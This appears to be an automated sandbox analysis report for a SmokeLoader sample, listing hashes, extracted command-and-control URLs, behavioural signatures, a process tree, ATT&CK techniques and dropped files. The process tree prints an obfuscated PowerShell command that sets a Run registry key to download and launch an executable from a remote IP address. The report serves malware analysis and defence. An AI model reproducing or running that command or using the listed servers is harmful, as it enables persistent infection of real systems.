Analysis

  • max time kernel
    150s
  • max time network
    195s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    13-08-2021 07:58

General

  • Target

    F4800660EB71CEAE41442CC4BFC4A37A.exe

  • Size

    179KB

  • MD5

    f4800660eb71ceae41442cc4bfc4a37a

  • SHA1

    98a68484de7ff7189bd61d0c04fbba83f2c20e45

  • SHA256

    ca4bcfe479099c61e62b533e4ec5f667265ba2eb0884cbea492648ba3bdb8eb6

  • SHA512

    20d345977a881d370e6d712162ee3c75056816829f6877f5c70a5795ea0678fa2b2a4d20a64ad29c3bf7ecd96e5649bb30858bf4f1fc786f3520a14cc4c0e85a

Malware Config

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforjuly1.xyz/

http://readinglistforjuly2.xyz/

http://readinglistforjuly3.xyz/

http://readinglistforjuly4.xyz/

http://readinglistforjuly5.xyz/

http://readinglistforjuly6.xyz/

http://readinglistforjuly7.xyz/

http://readinglistforjuly8.xyz/

http://readinglistforjuly9.xyz/

http://readinglistforjuly10.xyz/

http://readinglistforjuly1.site/

http://readinglistforjuly2.site/

http://readinglistforjuly3.site/

http://readinglistforjuly4.site/

http://readinglistforjuly5.site/

http://readinglistforjuly6.site/

http://readinglistforjuly7.site/

http://readinglistforjuly8.site/

http://readinglistforjuly9.site/

http://readinglistforjuly10.site/

rc4.i32
rc4.i32

Signatures

  • Detected phishing page
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

    suricata: ET MALWARE Sharik/Smoke CnC Beacon 11

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 5 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe
    "C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1016
    • C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe
      "C:\Users\Admin\AppData\Local\Temp\F4800660EB71CEAE41442CC4BFC4A37A.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:2020
  • C:\Users\Admin\AppData\Local\Temp\DE9C.exe
    C:\Users\Admin\AppData\Local\Temp\DE9C.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\ProgramData\Runtimebroker.exe
      "C:\ProgramData\Runtimebroker.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1400
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'Sound device' -Value 'Cmd.Exe /c POwERsheLl -WinD HIDDen -CoMmAN (New-Object System.Net.WebClient).DownloadFile((''http://193.56.146.55/Ru''+''nti''+''m''+''ebr''+''oke''+''r.exe''),($env:TEMP+''\Vp''+''nm.e''+''xe''));Start-Process ($env:TEMP+''\V''+''pn''+''m.exe'')'
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2028
  • C:\Users\Admin\AppData\Local\Temp\E1F7.exe
    C:\Users\Admin\AppData\Local\Temp\E1F7.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:744
    • C:\Windows\SysWOW64\cmd.exe
      cmd /Q /C C:\Users\Admin\AppData\Local\Temp/s.bat
      2⤵
      • Drops startup file
      PID:960
  • C:\Users\Admin\AppData\Local\Temp\E7C2.exe
    C:\Users\Admin\AppData\Local\Temp\E7C2.exe
    1⤵
    • Executes dropped EXE
    PID:996
  • C:\Users\Admin\AppData\Local\Temp\F441.exe
    C:\Users\Admin\AppData\Local\Temp\F441.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:848

Network

MITRE ATT&CK Matrix ATT&CK v6

Defense Evasion

Virtualization/Sandbox Evasion

1
T1497

Credential Access

Credentials in Files

1
T1081

Discovery

Query Registry

3
T1012

Virtualization/Sandbox Evasion

1
T1497

System Information Discovery

4
T1082

Peripheral Device Discovery

1
T1120

Collection

Data from Local System

1
T1005

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\DE9C.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\DE9C.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • C:\Users\Admin\AppData\Local\Temp\E1F7.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\E1F7.exe
    MD5

    b19ac380411ed5d8b5a7e7e0c1da61a6

    SHA1

    9665c20336a5ce437bbf7b564370bfa43e99954c

    SHA256

    aba88a19b2f6e2cf9a6a41ab8661d83c433acec363028f58dd74d37e335c7619

    SHA512

    73b4e3555cf9496a7138a2c7071ed81a754493afaf15f604a305f3eb051ed72645731a6174b0934f24371dbe5bd8c0185516f87778a018d84df4fff8aea0c208

  • C:\Users\Admin\AppData\Local\Temp\E7C2.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\E7C2.exe
    MD5

    5707ddada5b7ea6bef434cd294fa12e1

    SHA1

    45bb285a597b30e100ed4b15d96a29d718697e5e

    SHA256

    85205aa3ad824b5172d5da841d253c3a54aff5d00eb2c208029e9453008f132c

    SHA512

    91cbdbf8da7e4e34de45a99359bdc321a66d6646ed14a1042346824c8daa6237281eff3b00fd162009c5e3204e5a7cd3b944f05e18b7f9066d0f9dd16b56bf13

  • C:\Users\Admin\AppData\Local\Temp\F441.exe
    MD5

    717d65dba56f47e540dca074c3977b3d

    SHA1

    d58aa30f826f41663e693f0ad930fdce584f1672

    SHA256

    61fb1160ae372d9ba1c95400d5439450c6a66cdf073fa50ee2d5d10c4952cbb3

    SHA512

    b06e4358411eb8f6315c574922c021bd57218b3e6a0ed727df6b44e20e7818d40fb0347050ce9145ea7e0fd56a7fa93a2358e524c0df030d6d44067c7c83510d

  • C:\Users\Admin\AppData\Local\Temp\s.bat
    MD5

    a8bef84a0032e65adc157d70cf33a4f4

    SHA1

    fb24b6d663880a5998947e96d6b96ff23c2e49ed

    SHA256

    10ff0e85e512d5217de8f729643c361b8982c4386b49affb645d903cf1158c1a

    SHA512

    c2c91b2dc890c8ac2afd853d760ff1ef2043fef58e99fa855947a7dc5d7312c1f991cf285ea10417745c8a463b68cdbe9faadf169731aad88249ed29fdb9909a

  • \ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • \ProgramData\Runtimebroker.exe
    MD5

    4f2f17aaf39970811b9f822b1496dc01

    SHA1

    bf89cf8fbf826b02d4d3eebe8ef3aee1455dc876

    SHA256

    3ea9f73f3772290bdfe770b50dc7c726098b6712d327acc90200b31980c8576b

    SHA512

    44c35d1b0188a05c65fb5089ab5c6c5fb4baf65d3e6d065c96db167a5cccf344185a40fda256da69f518275670ca3e0bc1097064edb8cf0ac0c2c604cd1368a9

  • memory/744-83-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/744-82-0x0000000003050000-0x0000000003293000-memory.dmp
    Filesize

    2.3MB

  • memory/744-88-0x0000000004D40000-0x0000000004F51000-memory.dmp
    Filesize

    2.1MB

  • memory/744-76-0x0000000000000000-mapping.dmp
  • memory/744-89-0x0000000000400000-0x0000000002D86000-memory.dmp
    Filesize

    41.5MB

  • memory/848-84-0x0000000000000000-mapping.dmp
  • memory/848-99-0x00000000025E0000-0x00000000025E1000-memory.dmp
    Filesize

    4KB

  • memory/848-90-0x0000000000A40000-0x0000000000A41000-memory.dmp
    Filesize

    4KB

  • memory/960-95-0x0000000000000000-mapping.dmp
  • memory/996-98-0x0000000004A60000-0x0000000004A61000-memory.dmp
    Filesize

    4KB

  • memory/996-79-0x0000000000000000-mapping.dmp
  • memory/996-92-0x0000000000F60000-0x0000000000F61000-memory.dmp
    Filesize

    4KB

  • memory/1016-63-0x00000000001B0000-0x00000000001BA000-memory.dmp
    Filesize

    40KB

  • memory/1180-64-0x00000000029D0000-0x00000000029E6000-memory.dmp
    Filesize

    88KB

  • memory/1400-78-0x0000000000400000-0x0000000002C7C000-memory.dmp
    Filesize

    40.5MB

  • memory/1400-73-0x0000000000000000-mapping.dmp
  • memory/1456-70-0x0000000000400000-0x0000000002C7C000-memory.dmp
    Filesize

    40.5MB

  • memory/1456-65-0x0000000000000000-mapping.dmp
  • memory/1456-69-0x0000000000270000-0x00000000002AB000-memory.dmp
    Filesize

    236KB

  • memory/2020-62-0x0000000075211000-0x0000000075213000-memory.dmp
    Filesize

    8KB

  • memory/2020-60-0x0000000000400000-0x0000000000409000-memory.dmp
    Filesize

    36KB

  • memory/2020-61-0x0000000000402E1A-mapping.dmp
  • memory/2028-101-0x0000000000000000-mapping.dmp
  • memory/2028-103-0x0000000002410000-0x000000000305A000-memory.dmp
    Filesize

    12.3MB

  • memory/2028-104-0x00000000008F0000-0x00000000008F1000-memory.dmp
    Filesize

    4KB

  • memory/2028-105-0x00000000046D0000-0x00000000046D1000-memory.dmp
    Filesize

    4KB

  • memory/2028-106-0x0000000002410000-0x000000000305A000-memory.dmp
    Filesize

    12.3MB

  • memory/2028-107-0x0000000002490000-0x0000000002491000-memory.dmp
    Filesize

    4KB

  • memory/2028-108-0x0000000005340000-0x0000000005341000-memory.dmp
    Filesize

    4KB

  • memory/2028-111-0x0000000005750000-0x0000000005751000-memory.dmp
    Filesize

    4KB

  • memory/2028-113-0x000000007EF30000-0x000000007EF31000-memory.dmp
    Filesize

    4KB

  • memory/2028-117-0x00000000057B0000-0x00000000057B1000-memory.dmp
    Filesize

    4KB